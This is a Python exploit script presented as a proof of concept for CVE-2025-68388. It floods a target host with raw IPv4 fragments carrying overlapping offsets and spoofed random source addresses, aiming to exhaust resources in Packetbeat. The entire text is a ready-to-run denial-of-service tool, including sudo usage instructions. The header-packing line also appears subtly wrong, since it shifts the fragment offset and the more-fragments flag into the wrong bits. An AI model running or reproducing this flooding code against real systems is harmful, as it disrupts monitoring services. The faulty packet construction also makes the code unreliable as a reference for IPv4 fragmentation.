# CVE-2025-68388 PoC - Malicious IPv4 Fragment Flooding
# This PoC demonstrates the resource exhaustion attack against Packetbeat
# by sending crafted IPv4 fragments with overlapping offsets
import socket
import struct
import random
import time
def ip_checksum(header):
"""Calculate IP header checksum"""
if len(header) % 2 == 1:
header += b'\x00'
checksum = 0
for i in range(0, len(header), 2):
w = (header[i] << 8) + header[i+1]
checksum += w
checksum = (checksum >> 16) + (checksum & 0xffff)
checksum += checksum >> 16
return ~checksum & 0xffff
def create_ipv4_fragment(src_ip, dst_ip, identification, fragment_offset, more_fragments, payload):
"""Create a single IPv4 fragment packet"""
version_ihl = (4 << 4) | 5 # IPv4, header length 5 (20 bytes)
tos = 0
total_length = 20 + len(payload)
ttl = 64
protocol = 6 # TCP
# IP header without checksum
header = struct.pack('!BBHHHBBH4s4s',
version_ihl, tos, total_length,
identification, # Identification
(fragment_offset << 13) | (more_fragments << 12), # Flags + Fragment offset
ttl, protocol, 0, # Protocol and checksum placeholder
socket.inet_aton(src_ip),
socket.inet_aton(dst_ip))
checksum = ip_checksum(header)
header = header[:10] + struct.pack('!H', checksum) + header[12:]
return header + payload
def exploit_cve_2025_68388(target_ip, target_port=9200, duration=60):
"""
Exploit CVE-2025-68388 by sending malicious IPv4 fragments
to cause resource exhaustion in Packetbeat
"""
src_ip = f"192.168.{random.randint(1,254)}.{random.randint(1,254)}"
identification = random.randint(1, 65535)
print(f"[*] Starting CVE-2025-68388 exploit against {target_ip}")
print(f"[*] Sending malicious IPv4 fragments for {duration} seconds...")
start_time = time.time()
packet_count = 0
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
while time.time() - start_time < duration:
# Create fragments with overlapping offsets to trigger reassembly issues
for offset in [0, 100, 50, 150, 25]:
# Craft malicious payload designed to exhaust resources
payload = bytes([random.randint(0, 255) for _ in range(100)])
packet = create_ipv4_fragment(
src_ip, target_ip,
identification + packet_count,
offset, # Overlapping fragment offsets
1, # More fragments flag
payload
)
try:
sock.sendto(packet, (target_ip, 0))
packet_count += 1
except Exception as e:
print(f"[!] Send error: {e}")
time.sleep(0.01) # Small delay between fragment sets
if packet_count % 1000 == 0:
print(f"[*] Sent {packet_count} fragment packets...")
except PermissionError:
print("[!] This exploit requires root/sudo privileges")
print("[!] Run: sudo python3 cve_2025_68388_poc.py")
except Exception as e:
print(f"[!] Error: {e}")
finally:
print(f"[*] Exploit completed. Sent {packet_count} packets in {duration} seconds")
print(f"[*] Target Packetbeat should experience resource exhaustion")
if __name__ == "__main__":
import sys
if len(sys.argv) > 1:
target = sys.argv[1]
exploit_cve_2025_68388(target)
else:
print("Usage: sudo python3 cve_2025_68388_poc.py <target_ip>")
print("Example: sudo python3 cve_2025_68388_poc.py 192.168.1.100")